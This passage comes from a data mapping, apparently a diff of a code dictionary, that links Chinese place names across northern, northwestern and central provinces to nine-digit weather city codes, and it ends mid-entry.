'绥芬河': 101050305, '宁安': 101050306, '东宁': 101050307, '佳木斯': 101050401, '汤原': 101050402, + '抚远': 101050403, + '桦川': 101050404, '桦南': 101050405, '同江': 101050406, '富锦': 101050407, '绥化': 101050501, + '肇东': 101050502, + '安达': 101050503, '海伦': 101050504, '明水': 101050505, '望奎': 101050506, '兰西': 101050507, + '青冈': 101050508, + '庆安': 101050509, '绥棱': 101050510, '黑河': 101050601, '嫩江': 101050602, '孙吴': 101050603, + '逊克': 101050604, + '五大连池': 101050605, '北安': 101050606, '大兴安岭': 101050701, '塔河': 101050702, '漠河': 101050703, + '呼玛': 101050704, + '呼中': 101050705, '新林': 101050706, '阿木尔': 101050707, '加格达奇': 101050708, '伊春': 101050801, + '乌伊岭': 101050802, + '五营': 101050803, '铁力': 101050804, '嘉荫': 101050805, '大庆': 101050901, '林甸': 101050902, + '肇州': 101050903, + '肇源': 101050904, '杜蒙': 101050905, '七台河': 101051002, '勃利': 101051003, '鸡西': 101051101, + '虎林': 101051102, + '密山': 101051103, '鸡东': 101051104, '鹤岗': 101051201, '绥滨': 101051202, '萝北': 101051203, + '双鸭山': 101051301, + '集贤': 101051302, '宝清': 101051303, '饶河': 101051304, '长春': 101060101, '农安': 101060102, + '德惠': 101060103, + '九台': 101060104, '榆树': 101060105, '双阳': 101060106, '吉林': 101060201, '舒兰': 101060202, + '永吉': 101060203, + '蛟河': 101060204, '磐石': 101060205, '桦甸': 101060206, '烟筒山': 101060207, '延吉': 101060301, + '敦化': 101060302, + '安图': 101060303, '汪清': 101060304, '和龙': 101060305, '天池': 101130109, '龙井': 101060307, + '珲春': 101060308, + '图们': 101060309, '罗子沟': 101060311, '延边': 101060312, '四平': 101060401, '双辽': 101060402, + '梨树': 101060403, + '公主岭': 101060404, '伊通': 101060405, '孤家子': 101060406, '通化': 101060501, '梅河口': 101060502, + '柳河': 101060503, + '辉南': 101060504, '集安': 101060505, '通化县': 101060506, '白城': 101060601, '洮南': 101060602, + '大安': 101060603, + '镇赉': 101060604, '通榆': 101060605, '辽源': 101060701, '东丰': 101060702, '松原': 101060801, + '乾安': 101060802, + '前郭': 101060803, '长岭': 101060804, '扶余': 101060805, '白山': 101060901, '靖宇': 101060902, + '临江': 101060903, + '东岗': 101060904, '长白': 101060905, '沈阳': 101070101, '苏家屯': 101070102, '辽中': 101070103, + '康平': 101070104, + '法库': 101070105, '新民': 101070106, '于洪': 101070107, '新城子': 101070108, '大连': 101070201, + '瓦房店': 101070202, + '金州': 101070203, '普兰店': 101070204, '旅顺': 101070205, '长海': 101070206, '庄河': 101070207, + '皮口': 101070208, + '海洋岛': 101070209, '鞍山': 101070301, '台安': 101070302, '岫岩': 101070303, '海城': 101070304, + '抚顺': 101070401, + '清原': 101070403, '章党': 101070404, '本溪': 101070501, '本溪县': 101070502, '草河口': 101070503, + '桓仁': 101070504, + '丹东': 101070601, '凤城': 101070602, '宽甸': 101070603, '东港': 101340202, '东沟': 101070605, + '锦州': 101070701, + '凌海': 101070702, '北宁': 101070703, '义县': 101070704, '黑山': 101070705, '北镇': 101070706, + '营口': 101070801, + '大石桥': 101070802, '盖州': 101070803, '阜新': 101070901, '彰武': 101070902, '辽阳': 101071001, + '辽阳县': 101071002, + '灯塔': 101071003, '铁岭': 101071101, '开原': 101071102, '昌图': 101071103, '西丰': 101071104, + '建平': 101071202, + '凌源': 101071203, '喀左': 101071204, '北票': 101071205, '羊山': 101071206, '建平县': 101071207, + '盘锦': 101071301, + '大洼': 101071302, '盘山': 101071303, '葫芦岛': 101071401, '建昌': 101071402, '绥中': 101071403, + '兴城': 101071404, + '呼和浩特': 101080101, '土默特左旗': 101080102, '托克托': 101080103, '和林格尔': 101080104, '清水河': 101150507, + '呼和浩特市郊区': 101080106, '武川': 101080107, '包头': 101080201, '白云鄂博': 101080202, '满都拉': 101080203, + '土默特右旗': 101080204, + '固阳': 101080205, '达尔罕茂明安联合旗': 101080206, '石拐': 101080207, '乌海': 101080301, '集宁': 101080401, + '卓资': 101080402, + '化德': 101080403, '商都': 101080404, '希拉穆仁': 101080405, '兴和': 101080406, '凉城': 101080407, + '察哈尔右翼前旗': 101080408, + '察哈尔右翼中旗': 101080409, '察哈尔右翼后旗': 101080410, '四子王旗': 101080411, '丰镇': 101080412, + '通辽': 101080501, + '舍伯吐': 101080502, '科尔沁左翼中旗': 101080503, '科尔沁左翼后旗': 101080504, '青龙山': 101080505, + '开鲁': 101080506, + '库伦旗': 101080507, '奈曼旗': 101080508, '扎鲁特旗': 101080509, '高力板': 101080510, '巴雅尔吐胡硕': 101080511, + '通辽钱家店': 101080512, + '赤峰': 101080601, '赤峰郊区站': 101080602, '阿鲁科尔沁旗': 101080603, '浩尔吐': 101080604, '巴林左旗': 101080605, + '巴林右旗': 101080606, + '林西': 101080607, '克什克腾旗': 101080608, '翁牛特旗': 101080609, '岗子': 101080610, '喀喇沁旗': 101080611, + '八里罕': 101080612, + '宁城': 101080613, '敖汉旗': 101080614, '宝过图': 101080615, '鄂尔多斯': 101080701, '达拉特旗': 101080703, + '准格尔旗': 101080704, + '鄂托克前旗': 101080705, '河南': 101150304, '伊克乌素': 101080707, '鄂托克旗': 101080708, '杭锦旗': 101080709, + '乌审旗': 101080710, + '伊金霍洛旗': 101080711, '乌审召': 101080712, '东胜': 101080713, '临河': 101080801, '五原': 101080802, + '磴口': 101080803, + '乌拉特前旗': 101080804, '大佘太': 101080805, '乌拉特中旗': 101080806, '乌拉特后旗': 101080807, '海力素': 101080808, + '那仁宝力格': 101080809, '杭锦后旗': 101080810, '巴盟农试站': 101080811, '锡林浩特': 101080901, + '朝克乌拉': 101080902, + '二连浩特': 101080903, '阿巴嘎旗': 101080904, '伊和郭勒': 101080905, '苏尼特左旗': 101080906, + '苏尼特右旗': 101080907, + '朱日和': 101080908, '东乌珠穆沁旗': 101080909, '西乌珠穆沁旗': 101080910, '太仆寺旗': 101080911, + '镶黄旗': 101080912, + '正镶白旗': 101080913, '正兰旗': 101080914, '多伦': 101080915, '博克图': 101080916, '乌拉盖': 101080917, + '白日乌拉': 101080918, + '那日图': 101080919, '呼伦贝尔': 101081000, '海拉尔': 101081001, '小二沟': 101081002, '阿荣旗': 101081003, + '莫力达瓦旗': 101081004, + '鄂伦春旗': 101081005, '鄂温克旗': 101081006, '陈巴尔虎旗': 101081007, '新巴尔虎左旗': 101081008, + '新巴尔虎右旗': 101081009, + '满洲里': 101081010, '牙克石': 101081011, '扎兰屯': 101081012, '额尔古纳': 101081014, '根河': 101081015, + '图里河': 101081016, + '乌兰浩特': 101081101, '阿尔山': 101081102, '科尔沁右翼中旗': 101081103, '胡尔勒': 101081104, '扎赉特旗': 101081105, + '索伦': 101081106, + '突泉': 101081107, '霍林郭勒': 101081108, '阿拉善左旗': 101081201, '阿拉善右旗': 101081202, '额济纳旗': 101081203, + '拐子湖': 101081204, + '吉兰太': 101081205, '锡林高勒': 101081206, '头道湖': 101081207, '中泉子': 101081208, '巴彦诺尔贡': 101081209, + '雅布赖': 101081210, + '乌斯太': 101081211, '孪井滩': 101081212, '石家庄': 101090101, '井陉': 101090102, '正定': 101090103, + '栾城': 101090104, + '行唐': 101090105, '灵寿': 101090106, '高邑': 101090107, '深泽': 101090108, '赞皇': 101090109, + '无极': 101090110, + '平山': 101090111, '元氏': 101090112, '赵县': 101090113, '辛集': 101090114, '藁城': 101090115, + '晋洲': 101090116, + '新乐': 101090117, '保定': 101090201, '满城': 101090202, '阜平': 101090203, '徐水': 101090204, + '唐县': 101090205, + '高阳': 101090206, '容城': 101090207, '紫荆关': 101090208, '涞源': 101090209, '望都': 101090210, + '安新': 101090211, + '易县': 101090212, '涞水': 101090213, '曲阳': 101090214, '蠡县': 101090215, '顺平': 101090216, + '雄县': 101090217, + '涿州': 101090218, '定州': 101090219, '安国': 101090220, '高碑店': 101090221, '张家口': 101090301, + '宣化': 101090302, + '张北': 101090303, '康保': 101090304, '沽源': 101090305, '尚义': 101090306, '蔚县': 101090307, + '阳原': 101090308, + '怀安': 101090309, '万全': 101090310, '怀来': 101090311, '涿鹿': 101090312, '赤城': 101090313, + '崇礼': 101090314, + '承德': 101090402, '承德县': 101090403, '兴隆': 101090404, '平泉': 101090405, '滦平': 101090406, + '隆化': 101090407, + '丰宁': 101090408, '宽城': 101090409, '围场': 101090410, '塞罕坎': 101090411, '唐山': 101090501, + '丰南': 101090502, + '丰润': 101090503, '滦县': 101090504, '滦南': 101090505, '乐亭': 101090506, '迁西': 101090507, + '玉田': 101090508, + '唐海': 101090509, '遵化': 101090510, '迁安': 101090511, '廊坊': 101090601, '固安': 101090602, + '永清': 101090603, + '香河': 101090604, '大城': 101090605, '文安': 101090606, '大厂': 101090607, '霸州': 101090608, + '三河': 101090609, + '沧州': 101090701, '青县': 101090702, '东光': 101090703, '海兴': 101090704, '盐山': 101090705, + '肃宁': 101090706, + '南皮': 101090707, '吴桥': 101090708, '献县': 101090709, '孟村': 101090710, '泊头': 101090711, + '任丘': 101090712, + '黄骅': 101090713, '河间': 101090714, '曹妃甸': 101090715, '衡水': 101090801, '枣强': 101090802, + '武邑': 101090803, + '武强': 101090804, '饶阳': 101090805, '安平': 101090806, '故城': 101090807, '景县': 101090808, + '阜城': 101090809, + '冀州': 101090810, '深州': 101090811, '邢台': 101090901, '临城': 101090902, '邢台县浆水': 101090903, + '内邱': 101090904, + '柏乡': 101090905, '隆尧': 101090906, '南和': 101090907, '宁晋': 101090908, '巨鹿': 101090909, + '新河': 101090910, + '广宗': 101090911, '平乡': 101090912, '威县': 101090913, '清河': 101090914, '临西': 101090915, + '南宫': 101090916, + '沙河': 101090917, '任县': 101090918, '邯郸': 101091001, '峰峰': 101091002, '临漳': 101091003, + '成安': 101091004, + '大名': 101091005, '涉县': 101091006, '磁县': 101091007, '肥乡': 101091008, '永年': 101091009, + '邱县': 101091010, + '鸡泽': 101091011, '广平': 101091012, '馆陶': 101091013, '魏县': 101091014, '曲周': 101091015, + '武安': 101091016, + '秦皇岛': 101091101, '青龙': 101091102, '昌黎': 101091103, '抚宁': 101091104, '卢龙': 101091105, + '北戴河': 101091106, + '太原': 101100101, '清徐': 101100102, '阳曲': 101100103, '娄烦': 101100104, '太原古交区': 101100105, + '太原北郊': 101100106, + '太原南郊': 101100107, '大同': 101100201, '阳高': 101100202, '大同县': 101100203, '天镇': 101100204, + '广灵': 101100205, + '灵邱': 101100206, '浑源': 101100207, '左云': 101100208, '阳泉': 101100301, '盂县': 101100302, + '平定': 101100303, + '晋中': 101100401, '榆次': 101100402, '榆社': 101100403, '左权': 101100404, '和顺': 101100405, + '昔阳': 101100406, + '寿阳': 101100407, '太谷': 101100408, '祁县': 101100409, '平遥': 101100410, '灵石': 101100411, + '介休': 101100412, + '长治': 101100501, '黎城': 101100502, '屯留': 101100503, '潞城': 101100504, '襄垣': 101100505, + '平顺': 101100506, + '武乡': 101100507, '沁县': 101100508, '长子': 101100509, '沁源': 101100510, '壶关': 101100511, + '晋城': 101100601, + '沁水': 101100602, '阳城': 101100603, '陵川': 101100604, '高平': 101100605, '临汾': 101100701, + '曲沃': 101100702, + '永和': 101100703, '隰县': 101100704, '大宁': 101100705, '吉县': 101100706, '襄汾': 101100707, + '蒲县': 101100708, + '汾西': 101100709, '洪洞': 101100710, '霍州': 101100711, '乡宁': 101100712, '翼城': 101100713, + '侯马': 101100714, + '浮山': 101100715, '安泽': 101100716, '古县': 101100717, '运城': 101100801, '临猗': 101100802, + '稷山': 101100803, + '万荣': 101100804, '河津': 101100805, '新绛': 101100806, '绛县': 101100807, '闻喜': 101100808, + '垣曲': 101100809, + '永济': 101100810, '芮城': 101100811, '夏县': 101100812, '平陆': 101100813, '朔州': 101100901, + '平鲁': 101100902, + '山阴': 101100903, '右玉': 101100904, '应县': 101100905, '怀仁': 101100906, '忻州': 101101001, + '定襄': 101101002, + '五台县豆村': 101101003, '河曲': 101101004, '偏关': 101101005, '神池': 101101006, '宁武': 101101007, + '代县': 101101008, + '繁峙': 101101009, '五台山': 101101010, '保德': 101101011, '静乐': 101101012, '岢岚': 101101013, + '五寨': 101101014, + '原平': 101101015, '吕梁': 101101100, '离石': 101101101, '临县': 101101102, '兴县': 101101103, + '岚县': 101101104, + '柳林': 101101105, '石楼': 101101106, '方山': 101101107, '交口': 101101108, '中阳': 101101109, + '孝义': 101101110, + '汾阳': 101101111, '文水': 101101112, '交城': 101101113, '西安': 101110101, '长安': 101110102, + '临潼': 101110103, + '蓝田': 101110104, '周至': 101110105, '户县': 101110106, '高陵': 101110107, '杨凌': 101110108, + '咸阳': 101110200, + '三原': 101110201, '礼泉': 101110202, '永寿': 101110203, '淳化': 101110204, '泾阳': 101110205, + '武功': 101110206, + '乾县': 101110207, '彬县': 101110208, '长武': 101110209, '旬邑': 101110210, '兴平': 101110211, + '延安': 101110300, + '延长': 101110301, '延川': 101110302, '子长': 101110303, '宜川': 101110304, '富县': 101110305, + '志丹': 101110306, + '安塞': 101110307, '甘泉': 101110308, '洛川': 101110309, '黄陵': 101110310, '黄龙': 101110311, + '吴起': 101110312, + '榆林': 101110401, '府谷': 101110402, '神木': 101110403, '佳县': 101110404, '定边': 101110405, + '靖边': 101110406, + '横山': 101110407, '米脂': 101110408, '子洲': 101110409, '绥德': 101110410, '吴堡': 101110411, + '清涧': 101110412, + '渭南': 101110501, '华县': 101110502, '潼关': 101110503, '大荔': 101110504, '白水': 101110505, + '富平': 101110506, + '蒲城': 101110507, '澄城': 101110508, '合阳': 101110509, '韩城': 101110510, '华阴': 101110511, + '华山': 101110512, + '商洛': 101110601, '洛南': 101110602, '柞水': 101110603, '镇安': 101110605, '丹凤': 101110606, + '商南': 101110607, + '山阳': 101110608, '安康': 101110701, '紫阳': 101110702, '石泉': 101110703, '汉阴': 101110704, + '旬阳': 101110705, + '岚皋': 101110706, '平利': 101110707, '白河': 101110708, '镇坪': 101110709, '宁陕': 101110710, + '汉中': 101110801, + '略阳': 101110802, '勉县': 101110803, '留坝': 101110804, '洋县': 101110805, '城固': 101110806, + '西乡': 101110807, + '佛坪': 101110808, '宁强': 101110809, '南郑': 101110810, '镇巴': 101110811, '宝鸡': 101110901, + '宝鸡县': 101110902, + '千阳': 101110903, '麟游': 101110904, '岐山': 101110905, '凤翔': 101110906, '扶风': 101110907, + '眉县': 101110908, + '太白': 101110909, '凤县': 101110910, '陇县': 101110911, '铜川': 101111001, '耀县': 101111002, + '宜君': 101111003, + '济南': 101120101, '长清': 101120102, '商河': 101120103, '章丘': 101120104, '平阴': 101120105, + '济阳': 101120106, + '青岛': 101120201, '崂山': 101120202, '潮连岛': 101120203, '即墨': 101120204, '胶州': 101120205, + '胶南': 101120206, + '莱西': 101120207, '平度': 101120208, '淄博': 101120301, '淄川': 101120302, '博山': 101120303, + '高青': 101120304, + '周村': 101120305, '沂源': 101120306, '桓台': 101120307, '临淄': 101120308, '德州': 101120401, + '武城': 101120402, + '临邑': 101120403, '陵县': 101120404, '齐河': 101120405, '乐陵': 101120406, '庆云': 101120407, + '平原': 101120408, + '宁津': 101120409, '夏津': 101120410, '禹城': 101120411, '烟台': 101120501, '莱州': 101120502, + '长岛': 101120503, + '蓬莱': 101120504, '龙口': 101120505, '招远': 101120506, '栖霞': 101120507, '福山': 101120508, + '牟平': 101120509, + '莱阳': 101120510, '海阳': 101120511, '千里岩': 101120512, '潍坊': 101120601, '青州': 101120602, + '寿光': 101120603, + '临朐': 101120604, '昌乐': 101120605, '昌邑': 101120606, '安丘': 101120607, '高密': 101120608, + '诸城': 101120609, + '济宁': 101120701, '嘉祥': 101120702, '微山': 101120703, '鱼台': 101120704, '兖州': 101120705, + '金乡': 101120706, + '汶上': 101120707, '泗水': 101120708, '梁山': 101120709, '曲阜': 101120710, '邹城': 101120711, + '泰安': 101120801, + '新泰': 101120802, '泰山': 101120803, '肥城': 101120804, '东平': 101120805, '宁阳': 101120806, + '临沂': 101120901, + '莒南': 101120902, '沂南': 101120903, '苍山': 101120904, '临沭': 101120905, '郯城': 101120906, + '蒙阴': 101120907, + '平邑': 101120908, '费县': 101120909, '沂水': 101120910, '马站': 101120911, '菏泽': 101121001, + '鄄城': 101121002, + '郓城': 101121003, '东明': 101121004, '定陶': 101121005, '巨野': 101121006, '曹县': 101121007, + '成武': 101121008, + '单县': 101121009, '滨州': 101121101, '博兴': 101121102, '无棣': 101121103, '阳信': 101121104, + '惠民': 101121105, + '沾化': 101121106, '邹平': 101121107, '东营': 101121201, '河口': 101290114, '垦利': 101121203, + '利津': 101121204, + '广饶': 101121205, '威海': 101121301, '文登': 101121302, '荣成': 101121303, '乳山': 101121304, + '成山头': 101121305, + '石岛': 101121306, '枣庄': 101121401, '薛城': 101121402, '峄城': 101121403, '台儿庄': 101121404, + '滕州': 101121405, + '日照': 101121501, '五莲': 101121502, '莒县': 101121503, '莱芜': 101121601, '聊城': 101121701, + '冠县': 101121702, + '阳谷': 101121703, '高唐': 101121704, '茌平': 101121705, '东阿': 101121706, '临清': 101121707, + '朝城': 101121708, + '莘县': 101121709, '乌鲁木齐': 101130101, '蔡家湖': 101130102, '小渠子': 101130103, '巴仑台': 101130104, + '达坂城': 101130105, + '十三间房气象站': 101130106, '天山大西沟': 101130107, '乌鲁木齐牧试站': 101130108, '白杨沟': 101130110, + '克拉玛依': 101130201, + '石河子': 101130301, '炮台': 101130302, '莫索湾': 101130303, '乌兰乌苏': 101130304, '昌吉': 101130401, + '呼图壁': 101130402, + '米泉': 101130403, '阜康': 101130404, '吉木萨尔': 101130405, '奇台': 101130406, '玛纳斯': 101130407, + '木垒': 101130408, + '北塔山': 101130409, '吐鲁番': 101130501, '托克逊': 101130502, '吐鲁番东坎': 101130503, '鄯善': 101130504, + '红柳河': 101130505, + '库尔勒': 101130601, '轮台': 101130602, '尉犁': 101130603, '若羌': 101130604, '且末': 101130605, + '和静': 101130606, + '焉耆': 101130607, '和硕': 101130608, '库米什': 101130609, '巴音布鲁克': 101130610, '铁干里克': 101130611, + '博湖': 101130612, + '塔中': 101130613, '阿拉尔': 101130701, '阿克苏': 101130801, '乌什': 101130802, '温宿': 101130803, + '拜城': 101130804, + '新和': 101130805, '沙雅': 101130806, '库车': 101130807, '柯坪': 101130808, '阿瓦提': 101130809, + '喀什': 101130901, + '英吉沙': 101130902, '塔什库尔干': 101130903, '麦盖提': 101130904, '莎车': 101130905, '叶城': 101130906, + '泽普': 101130907, + '巴楚': 101130908, '岳普湖': 101130909, '伽师': 101130910, '伊宁': 101131001, '察布查尔': 101131002, + '尼勒克': 101131003, + '伊宁县': 101131004, '巩留': 101131005, '新源': 101131006, '昭苏': 101131007, '特克斯': 101131008, + '霍城': 101131009, + '霍尔果斯': 101131010, '塔城': 101131101, '裕民': 101131102, '额敏': 101131103, '和布克赛尔': 101131104, + '托里': 101131105, + '乌苏': 101131106, '沙湾': 101131107, '和丰': 101131108, '哈密': 101131201, '沁城': 101131202, + '巴里坤': 101131203, + '伊吾': 101131204, '淖毛湖': 101131205, '和田': 101131301, '皮山': 101131302, '策勒': 101131303, + '墨玉': 101131304, + '洛浦': 101131305, '民丰': 101131306, '于田': 101131307, '阿勒泰': 101131401, '哈巴河': 101131402, + '一八五团': 101131403, + '黑山头': 101131404, '吉木乃': 101131405, '布尔津': 101131406, '福海': 101131407, '富蕴': 101131408, + '青河': 101131409, + '安德河': 101131410, '阿图什': 101131501, '乌恰': 101131502, '阿克陶': 101131503, '阿合奇': 101131504, + '吐尔尕特': 101131505, + '博乐': 101131601, '温泉': 101131602, '精河': 101131603, '阿拉山口': 101131606, '拉萨': 101140101, + '当雄': 101140102, + '尼木': 101140103, '墨竹贡卡': 101140104, '日喀则': 101140201, '拉孜': 101140202, '南木林': 101140203, + '聂拉木': 101140204, + '定日': 101140205, '江孜': 101140206, '帕里': 101140207, '山南': 101140301, '贡嘎': 101140302, + '琼结': 101140303, + '加查': 101140304, '浪卡子': 101140305, '错那': 101140306, '隆子': 101140307, '泽当': 101140308, + '林芝': 101140401, + '波密': 101140402, '米林': 101140403, '察隅': 101140404, '昌都': 101140501, '丁青': 101140502, + '类乌齐': 101140503, + '洛隆': 101140504, '左贡': 101140505, '芒康': 101140506, '八宿': 101140507, '那曲': 101140601, + '嘉黎': 101140603, + '班戈': 101140604, '安多': 101140605, '索县': 101140606, '比如': 101140607, '阿里': 101140701, + '改则': 101140702, + '申扎': 101140703, '狮泉河': 101140704, '普兰': 101140705, '西宁': 101150101, '大通': 101150102, + '湟源': 101150103, + '湟中': 101150104, '铁卜加': 101150105, '铁卜加寺': 101150106, '中心站': 101150107, '海东': 101150201, + '乐都': 101150202, + '民和': 101150203, '互助': 101150204, '化隆': 101150205, '循化': 101150206, '冷湖': 101150207, + '平安': 101150208, + '黄南': 101150301, '尖扎': 101150302, '泽库': 101150303, '海南': 101150401, '江西沟': 101150402, + '贵德': 101150404, + '河卡': 101150405, '兴海': 101150406, '贵南': 101150407, '同德': 101150408, '共和': 101150409, + '果洛': 101150501, + '班玛': 101150502, '甘德': 101150503, '达日': 101150504, '久治': 101150505, '玛多': 101150506, + '玛沁': 101150508, + '玉树': 101150601, '托托河': 101150602, '治多': 101150603, '杂多': 101150604, '囊谦': 101150605, + '曲麻莱': 101150606, + '海西': 101150701, '格尔木': 101150702, '察尔汉': 101150703, '野牛沟': 101150704, '五道梁': 101150705, + '小灶火': 101150706, + '天峻': 101150708, '乌兰': 101150709, '都兰': 101150710, '诺木洪': 101150711, '茫崖': 101150712, + '大柴旦': 101150713, + '茶卡': 101150714, '香日德': 101150715, '德令哈': 101150716, '海北': 101150801, '门源': 101150802, + '祁连': 101150803, + '海晏': 101150804, '托勒': 101150805, '刚察': 101150806, '兰州': 101160101, '皋兰': 101160102, + '永登': 101160103, + '榆中': 101160104, '定西': 101160201, '通渭': 101160202, '陇西': 101160203, '渭源': 101160204, + '临洮': 101160205, + '漳县': 101160206, '岷县': 101160207, '安定': 101160208, '平凉': 101160301, '泾川': 101160302, + '灵台': 101160303, + '崇信': 101160304, '华亭': 101160305, '庄浪': 101160306, '静宁': 101160307, '崆峒': 101160308, + '庆阳': 101160401, + '西峰': 101160402, '环县': 101160403, '华池': 101160404, '合水': 101160405, '正宁': 101160406, + '宁县': 101160407, + '镇原': 101160408, '庆城': 101160409, '武威': 101160501, '民勤': 101160502, '古浪': 101160503, + '乌鞘岭': 101160504, + '天祝': 101160505, '金昌': 101160601, '永昌': 101160602, '张掖': 101160701, '肃南': 101160702, + '民乐': 101160703, + '临泽': 101160704, '高台': 101160705, '山丹': 101160706, '酒泉': 101160801, '鼎新': 101160802, + '金塔': 101160803, + '马鬃山': 101160804, '瓜州': 101160805, '肃北': 101160806, '玉门镇': 101160807, '敦煌': 101160808, + '天水': 101160901, + '北道区': 101160902, '清水': 101160903, '秦安': 101160904, '甘谷': 101160905, '武山': 101160906, + '张家川': 101160907, + '麦积': 101160908, '武都': 101161001, '成县': 101161002, '文县': 101161003, '宕昌': 101161004, + '康县': 101161005, + '西和': 101161006, '礼县': 101161007, '徽县': 101161008, '两当': 101161009, '临夏': 101161101, + '康乐': 101161102, + '永靖': 101161103, '广河': 101161104, '和政': 101161105, '东乡': 101240411, '合作': 101161201, + '临潭': 101161202, + '卓尼': 101161203, '舟曲': 101161204, '迭部': 101161205, '玛曲': 101161206, '碌曲': 101161207, + '夏河': 101161208, + '白银': 101161301, '靖远': 101161302, '会宁': 101161303, '华家岭': 101161304, '景泰': 101161305, + '银川': 101170101, + '永宁': 101170102, '灵武': 101170103, '贺兰': 101170104, '石嘴山': 101170201, '惠农': 101170202, + '平罗': 101170203, + '陶乐': 101170204, '石炭井': 101170205, '大武口': 101170206, '吴忠': 101170301, '同心': 101170302, + '盐池': 101170303, + '韦州': 101170304, '麻黄山': 101170305, '青铜峡': 101170306, '固原': 101170401, '西吉': 101170402, + '隆德': 101170403, + '泾源': 101170404, '六盘山': 101170405, '彭阳': 101170406, '中卫': 101170501, '中宁': 101170502, + '兴仁堡': 101170503, + '海原': 101170504, '郑州': 101180101, '巩义': 101180102, '荥阳': 101180103, '登封': 101180104, + '新密': 101180105, + '新郑': 101180106, '中牟': 101180107, '郑州农试站': 101180108, '安阳': 101180201, '汤阴': 101180202, + '滑县': 101180203, + '内黄': 101180204, '林州': 101180205, '新乡': 101180301, '获嘉': 101180302, '原阳': 101180303, + '辉县': 101180304, + '卫辉': 101180305, '延津': 101180306, '封丘': 101180307, '长垣': 101180308, '许昌': 101180401, + '鄢陵': 101180402, + '襄城': 101180403, '长葛': 101180404, '禹州': 101180405, '平顶山': 101180501, '郏县': 101180502, + '宝丰': 101180503, + '汝州': 101180504, '叶县': 101180505, '舞钢': 101180506, '鲁山': 101180507, '信阳': 101180601, + '息县': 101180602, + '罗山': 101180603, '光山': 101180604, '新县': 101180605, '淮滨': 101180606, '潢川': 101180607, + '固始': 101180608, + '商城': 101180609, '鸡公山': 101180610, '信阳地区农试站': 101180611, '南阳': 101180701, '南召': 101180702, + '方城': 101180703, + '社旗': 101180704, '西峡': 101180705, '内乡': 101180706, '镇平': 101180707, '淅川': 101180708, + '新野': 101180709, + '唐河': 101180710, '邓州': 101180711, '桐柏': 101180712, '开封': 101180801, '杞县': 101180802, + '尉氏': 101180803, + '通许': 101180804, '兰考': 101180805, '洛阳': 101180901, '新安': 101180902, '孟津': 101180903, + '宜阳': 101180904, + '洛宁': 101180905, '伊川': 101180906, '嵩县': 101180907, '偃师': 101180908, '栾川': 101180909, + '汝阳': 101180910, + '商丘': 101181001, '睢阳区': 101181002, '睢县': 101181003, '民权': 101181004, '虞城': 101181005, + '柘城': 101181006, + '宁陵': 101181007, '夏邑': 101181008, '永城': 101181009, '焦作': 101181101, '修武': 101181102, + '武陟': 101181103, + '沁阳': 101181104, '博爱': 101181106, '温县': 101181107, '孟州': 101181108, '鹤壁': 101181201, + '浚县': 101181202, + '淇县': 101181203, '濮阳': 101181301, '台前': 101181302, '南乐': 101181303, '清丰': 101181304, + '范县': 101181305, + '周口': 101181401, '扶沟': 101181402, '太康': 101181403, '淮阳': 101181404, '西华': 101181405, + '商水': 101181406, + '项城': 101181407, '郸城': 101181408, '鹿邑': 101181409, '沈丘': 101181410, '黄泛区': 101181411, + '漯河': 101181501, + '临颍': 101181502, '舞阳': 101181503, '驻马店': 101181601, '西平': 101181602, '遂平': 101181603, + '上蔡': 101181604, + '汝南': 101181605, '泌阳': 101181606, '平舆': 101181607, '新蔡': 101181608, '确山': 101181609, + '正阳': 101181610, + '三门峡': 101181701, '灵宝': 101181702, '渑池': 101181703, '卢氏': 101181704, '济源': 101181801, + '南京': 101190101, + '溧水': 101190102, '高淳': 101190103, '江宁': 101190104, '六合': 101190105, '江浦': 101190106, + '浦口': 101190107, + '无锡': 101190201, '江阴': 101190202, '宜兴': 101190203, '镇江': 101190301, '丹阳': 101190302, + '扬中': 101190303, + '句容': 101190304, '丹徒': 101190305, '苏州': 101190401, '常熟': 101190402, '张家港': 101190403, + '昆山': 101190404, + '吴县东山': 101190405, '吴县': 101190406, '吴江': 101190407, '太仓': 101190408, '南通': 101190501, + '海安': 101190502, + '如皋': 101190503, '如东': 101190504, '吕泗': 101190505, '吕泗渔场': 101190506, '启东': 101190507, + '海门': 101190508, + '扬州': 101190601, '宝应': 101190602, '仪征': 101190603, '高邮': 101190604, '江都': 101190605, + '邗江': 101190606, + '盐城': 101190701, '响水': 101190702, '滨海': 101190703, '阜宁': 101190704, '射阳': 101190705, + '建湖': 101190706, + '东台': 101190707, '大丰': 101190708, '盐都': 101190709, '徐州': 101190801, '徐州农试站': 101190802, + '丰县': 101190803, + '沛县': 101190804, '邳州': 101190805, '睢宁': 101190806, '新沂': 101190807, '淮安': 101190901, + '金湖': 101190902, + '盱眙': 101190903, '洪泽': 101190904, '涟水': 101190905, '淮阴县': 101190906, '淮阴': 101190907, + '楚州': 101190908, + '连云港': 101191001, '东海': 101191002, '赣榆': 101191003, '灌云': 101191004, '灌南': 101191005, + '西连岛': 101191006, + '燕尾港': 101191007, '常州': 101191101, '溧阳': 101191102, '金坛': 101191103, '泰州': 101191201, + '兴化': 101191202, + '泰兴': 101191203, '姜堰': 101191204, '靖江': 101191205, '宿迁': 101191301, '沭阳': 101191302, + '泗阳': 101191303, + '泗洪': 101191304, '武汉': 101200101, '蔡甸': 101200102, '黄陂': 101200103, '新洲': 101200104, + '江夏': 101200105, + '襄樊': 101200201, '襄阳': 101200202, '保康': 101200203, '南漳': 101200204, '宜城': 101200205, + '老河口': 101200206, + '谷城': 101200207, '枣阳': 101200208, '鄂州': 101200301, '孝感': 101200401, '安陆': 101200402, + '云梦': 101200403, + '大悟': 101200404, '应城': 101200405, '汉川': 101200406, '黄冈': 101200501, '红安': 101200502, + '麻城': 101200503, + '罗田': 101200504, '英山': 101200505, '浠水': 101200506, '蕲春': 101200507, '黄梅': 101200508, + '武穴': 101200509, + '黄石': 101200601, '大冶': 101200602, '阳新': 101200603, '咸宁': 101200701, '赤壁': 101200702, + '嘉鱼': 101200703, + '崇阳': 101200704, '通城': 101200705, '通山': 101200706, '荆州': 101200801, '江陵': 101200802, + '公安': 101200803, + '石首': 101200804, '监利': 101200805, '洪湖': 101200806, '松滋': 101200807, '宜昌': 101200901, + '远安': 101200902, + '秭归': 101200903, '兴山': 101200904, '宜昌县': 101200905, '五峰': 101200906, '当阳': 101200907, + '长阳': 101200908, + '宜都': 101200909, '枝江': 101200910, '三峡': 101200911, '夷陵': 101200912, '恩施': 101201001, + '利川': 101201002, + '建始': 101201003, '咸丰': 101201004, '宣恩': 101201005, '鹤峰': 101201006, '来凤': 101201007, + '巴东': 101201008, + '绿葱坡': 101201009, '十堰': 101201101, '竹溪': 101201102, '郧西': 101201103, '郧县': 101201104, + '竹山': 